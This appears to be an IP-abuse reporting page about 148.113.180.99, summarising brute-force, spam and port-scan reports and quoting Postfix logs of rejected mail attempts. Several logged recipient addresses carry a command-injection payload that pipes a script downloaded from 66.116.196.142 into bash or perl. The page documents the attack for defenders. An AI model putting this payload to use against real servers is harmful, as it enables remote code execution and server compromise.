This IP address has been reported a total of
53
times from
38 distinct
sources.
148.113.180.99 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
United States of America
with 13
reports;
Switzerland
with 7
reports;
France
with 7
reports.
The most common categories in these recent reports were:
Brute-Force
26
times;
Email Spam
20
times;
Port Scan
10
times;
Hacking
10
times;
Web App Attack
5
times;
Other
13
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Automated sensor: 8 SMTP-AUTH, SMTP-submission brute-force attempts over the last 24h (latest 2026-1 ...
show moreAutomated sensor: 8 SMTP-AUTH, SMTP-submission brute-force attempts over the last 24h (latest 2026-10-08T07:25Z).
show less
Oct 8 09:03:45 web postfix/smtpd[3600765]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.1 ...
show moreOct 8 09:03:45 web postfix/smtpd[3600765]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 554 5.7.1 <x: Service status change: localhost $(curl -sS http://66.116.196.142/da.sh|bash) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<x: Service status change: localhost $(curl -sS http://66.116.196.142/da.sh|bash) changed from stopped to [email protected]> proto=ESMTP helo=<mx-test.invalid>
...
show less
Brute-Force
SSH
Anonymous
Oct 8 15:01:52 mail postfix/postscreen[32124]: PREGREET 22 after 0.46 from [148.113.180.99]:52398: ...
show moreOct 8 15:01:52 mail postfix/postscreen[32124]: PREGREET 22 after 0.46 from [148.113.180.99]:52398: EHLO mx-test.invalid\r\n
show less
2026-10-07T10:36:32.247348+02:00 host postfix/smtpd[2352531]: NOQUEUE: reject: RCPT from vps-b0b4ac0 ...
show more2026-10-07T10:36:32.247348+02:00 host postfix/smtpd[2352531]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 454 4.7.1 <x: Service status change: localhost $(curl -sS http://66.116.196.142/da.sh|bash) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS http://66.116.196.142/da.sh|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
2026-10-07T10:46:48.352675+02:00 host postfix/smtpd[2354804]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 454 4.7.1 <x: Service status change: localhost $(curl -sS http://66.116.196.142/da.sh|bash) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS http://66.116.196.142/da.sh|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
2026-10-07T11:23:45.047087+02:00 host postfi
...
show less
Brute-Force
Anonymous
2026-10-07T07:28:22.963363+00:00 Canada1 postfix/submission/smtpd[3510404]: NOQUEUE: lost connection ...
show more2026-10-07T07:28:22.963363+00:00 Canada1 postfix/submission/smtpd[3510404]: NOQUEUE: lost connection after EHLO from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]
2026-10-07T09:14:00.628015+00:00 Canada1 postfix/submission/smtpd[4017156]: NOQUEUE: lost connection after EHLO from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]
...
show less
2026-10-07T00:25:01.648723-07:00 pixelmemory postfix/smtpd[548890]: NOQUEUE: reject: RCPT from vps-b ...
show more2026-10-07T00:25:01.648723-07:00 pixelmemory postfix/smtpd[548890]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 554 5.7.1 <x: Service status change: localhost $(curl -sS http://66.116.196.142/ezo|perl) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS http://66.116.196.142/ezo|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
2026-10-07T01:02:33.355589-07:00 pixelmemory postfix/smtpd[551705]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 554 5.7.1 <x: Service status change: localhost $(curl -sS http://66.116.196.142/ezo|perl) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS http://66.116.196.142/ezo|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>
2026-10-07T01:14:02.425130-07:00 pixelme
...
show less
2026-10-06T01:05:08.077987-07:00 pixelmemory postfix/smtpd[432402]: NOQUEUE: reject: RCPT from vps-b ...
show more2026-10-06T01:05:08.077987-07:00 pixelmemory postfix/smtpd[432402]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 554 5.7.1 <x: Service status change: localhost $(curl -sS 66.116.196.142/ezo|perl &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS 66.116.196.142/ezo|perl &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<attacker.com>
show less
Oct 6 11:47:43 [redacted] postfix/submission/smtpd[1389437]: NOQUEUE: reject: RCPT from vps-b0b4ac0 ...
show moreOct 6 11:47:43 [redacted] postfix/submission/smtpd[1389437]: NOQUEUE: reject: RCPT from vps-b0b4ac04.vps.ovh.ca[148.113.180.99]: 554 5.7.1 <x: Service status change: localhost $(curl -sS 66.116.196.142/ezo|perl &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS 66.116.196.142/ezo|perl &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<attacker.com>
show less
